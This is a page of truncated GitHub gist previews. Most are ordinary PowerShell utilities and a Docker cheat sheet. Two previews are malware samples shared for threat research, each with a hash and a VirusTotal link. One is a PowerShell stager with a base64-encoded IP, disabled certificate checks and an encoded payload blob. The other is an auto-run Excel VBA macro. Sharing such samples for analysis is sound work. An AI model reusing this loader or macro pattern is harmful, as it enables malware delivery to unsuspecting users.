This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <# | |
| .Synopsis | |
| Formatting your T-SQL code | |
| .DESCRIPTION | |
| Formatting T-SQL code through RedGate Format Api (https://www.red-gate.com/products/sql-development/sql-prompt/) | |
| Works on PowerShell Core (aka PowerShell 6+) | |
| .EXAMPLE | |
| $Script = '--(Query 16)_(AlwaysOn AG Cluster) | |
| SELECT cluster_name, quorum_type_desc, quorum_state_desc |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <# | |
| .SYNOPSIS | |
| Retries a powershell command n-times. | |
| .DESCRIPTION | |
| The cmdlet is capable of retrying a PowerShell command passed as a [ScriptBlock] according to the user defined number of retries and timeout (In Seconds) | |
| .PARAMETER TimeoutInSecs | |
| Timeout in secods for each retry. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Function Get-WindowsVersion { | |
| <# | |
| .SYNOPSIS | |
| Get Windows version information | |
| .DESCRIPTION | |
| This is a PowerShell version of the winver.exe utility. This commands uses PowerShell remoting to query the registry on a remote machine to retrieve Windows version information.The parameters are the same as in Invoke-Command. | |
| .PARAMETER Computername | |
| Specifies the computers on which the command runs. The default is the local computer. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function ConvertFrom-EventLogRecord | |
| { | |
| param( | |
| [Parameter(Mandatory=$true,ValueFromPipeline=$true)] | |
| [System.Diagnostics.Eventing.Reader.EventLogRecord[]] | |
| $InputEvent, | |
| [Parameter(Mandatory=$true,Position=1)] | |
| [ValidateNotNullOrEmpty()] | |
| [string[]] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #requires -version 5.0 | |
| # ToDo: Add option to use last position for Top and Left properties of the form or provide that as an option | |
| # ToDo: Add statusbar for timer countdown and other information | |
| Function Out-WPFGrid { | |
| <# | |
| .Synopsis | |
| Send command output to an interactive WPF-based grid. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 1. Show all images | |
| docker images | |
| 2. Show all running containers | |
| docker ps | |
| 3. Show all running and stopped containers | |
| docker ps -a | |
| 4. Run an container |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ## Uploaded by @JohnLaTwC | |
| ## Hash: 2a27d7ad1f16c90767e1cf98c92905aa5a3030a268c8206462c5215a87d0e132 | |
| ## VT Link: https://www.virustotal.com/#/file/2a27d7ad1f16c90767e1cf98c92905aa5a3030a268c8206462c5215a87d0e132/detection | |
| ## Original file | |
| $YHRIul = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("MTYyLjI0NC4zMi4xNDg=")) | |
| [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} | |
| $gxPVX = [System.Convert]::FromBase64String("H4sIAAAAAAACC+1Ye2wcRxn/9r17ti9Zn3t3cXq+S/PoNW6ujp02rZSCE9u0TuLYiZ3EdmiT9d3G3uS8e9lbu3GBKIhQUaGmtVBKW1KrPFRVgAoIJAIFiao8WqCIBhCISihUolSqACEeQiAIv5nd8yM2rdQ/+AfWvm++13zP2Zm56xt9hCQikvG5epXoEoVPJ739cxafePbrcfqK8fK6S8Lel9cNTTjVXMX3xn1rMle0XNcLcmN2zp9yc46b6+4fzE16JbvQ0BDbENkY6CHaK0j0929Vj9TsXiFxXZ2gEzWBUEPeXAdArhZYZ4iLYdxECyMPSgxRiTo/TLSa/y+M80PoH3b3RCYfE1dI8hhRPb2DB/Hpi0gd9N2L6EJgnw4wfiYR5dW0EPciE8cKftUvUhRbZ5Rocqke2J0F3y57xSjWY5Gt5mV6u5b1sCMc7+ZTFHojTzQRIxLonT2JNpleJz7fzCPWmKcAxPIqQzUGUJVY6qE6qCRkU05mtzxpyp4BZl0VfmP1ehWyWIOhNT+Rr2cTGgAMbe0S6vrFVD |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ## Uploaded by @JohnLaTwC | |
| ## Hash: 6719e80361950cdb10c4a4fcccc389c2a26eaab761c202870353fe65e8f954a3 | |
| ## VT Link: https://www.virustotal.com/#/file/6719e80361950cdb10c4a4fcccc389c2a26eaab761c202870353fe65e8f954a3/detection | |
| ## VBA: | |
| Private Sub WorkBook_Open() | |
| Call VVVV | |
| Application.Wait (Now + TimeValue("0:00:10")) | |
| Call AAAA |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #requires -version 5.0 | |
| Function ConvertTo-Markdown { | |
| <# | |
| .Synopsis | |
| Convert pipeline output to a markdown document. | |
| .Description | |
| This command is designed to accept pipelined output and create a markdown document. The pipeline output will formatted as a text block. You can optionally define a title, content to appear before the output and content to appear after the output. | |
| The command does not create a text file. You need to pipe results from this command to a cmdlet like Out-File or Set-Content. See examples. | |
| .Parameter Title |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Script to export html and csv reports of file and directory content on the system drive | |
| # Use to identify large files/directories for disk space cleanup | |
| # Uses WizTree portable to quickly retrieve file and directory sizes from the Master File Table on disk | |
| # Download and extract the WizTree64.exe and place in the same directory as this script | |
| # Set the running location | |
| $RunLocation = $PSScriptRoot | |
| #$RunLocation = "C:\temp" | |
| $TempLocation = "C:\temp" |